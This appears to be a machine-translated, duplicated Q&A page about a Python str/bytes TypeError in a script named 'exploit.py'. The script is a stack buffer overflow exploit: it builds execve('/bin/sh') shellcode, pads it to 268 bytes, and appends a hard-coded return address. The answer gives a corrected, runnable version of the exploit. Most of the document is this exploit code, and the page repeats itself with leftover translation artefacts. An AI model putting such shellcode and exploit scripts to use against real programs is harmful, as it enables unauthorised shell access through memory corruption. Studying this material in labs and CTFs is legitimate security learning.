结构包因字符串和整数输入而失败
Struct pack fails with string and integer input
我有一个程序可以为另一个程序提供一些输入。
看起来像这样
from pwn import *
import struct
# buffer \xb0\xc9\xff\xff'
print(p32(0xffffc9b0))
size = 268
payload = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" \
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" \
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
payload += "A" * (size-len(payload))
payload += struct.pack("I", 0xffffc9b0)
print(payload)
当我 运行 它时,我得到这个错误:
File "exploit.py", line 16, in <module>
payload += struct.pack("I", 0xffffc9b0)
TypeError: can only concatenate str (not "bytes") to str
它与进入 pack() 函数的类型有关。
当我查看 pack 的文档时,它看起来像这样:
>>> from struct import *
>>> pack('hhl', 1, 2, 3)
这看起来应该可行。可能跟参数的数量有关?
有人可以帮助我实现我在这里想要实现的目标吗?
您误诊了问题 - 错误不会在 struct.pack
调用期间发生,而是在您尝试将该调用的结果连接到 payload
变量时发生。
错误消息告诉您问题所在。您最初将有效负载定义为 string, but the result of the struct.pack
call is a bytes 对象。您不能将字节连接到字符串。
可能,您想将原始有效负载定义为字节对象,如下所示:
from pwn import *
import struct
size = 268
payload = (
b"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
b"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
b"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
)
payload += b"A" * (size - len(payload))
payload += struct.pack("I", 0xffffc9b0)
print(payload)
我有一个程序可以为另一个程序提供一些输入。
看起来像这样
from pwn import *
import struct
# buffer \xb0\xc9\xff\xff'
print(p32(0xffffc9b0))
size = 268
payload = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" \
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" \
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
payload += "A" * (size-len(payload))
payload += struct.pack("I", 0xffffc9b0)
print(payload)
当我 运行 它时,我得到这个错误:
File "exploit.py", line 16, in <module>
payload += struct.pack("I", 0xffffc9b0)
TypeError: can only concatenate str (not "bytes") to str
它与进入 pack() 函数的类型有关。 当我查看 pack 的文档时,它看起来像这样:
>>> from struct import *
>>> pack('hhl', 1, 2, 3)
这看起来应该可行。可能跟参数的数量有关?
有人可以帮助我实现我在这里想要实现的目标吗?
您误诊了问题 - 错误不会在 struct.pack
调用期间发生,而是在您尝试将该调用的结果连接到 payload
变量时发生。
错误消息告诉您问题所在。您最初将有效负载定义为 string, but the result of the struct.pack
call is a bytes 对象。您不能将字节连接到字符串。
可能,您想将原始有效负载定义为字节对象,如下所示:
from pwn import *
import struct
size = 268
payload = (
b"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
b"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
b"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
)
payload += b"A" * (size - len(payload))
payload += struct.pack("I", 0xffffc9b0)
print(payload)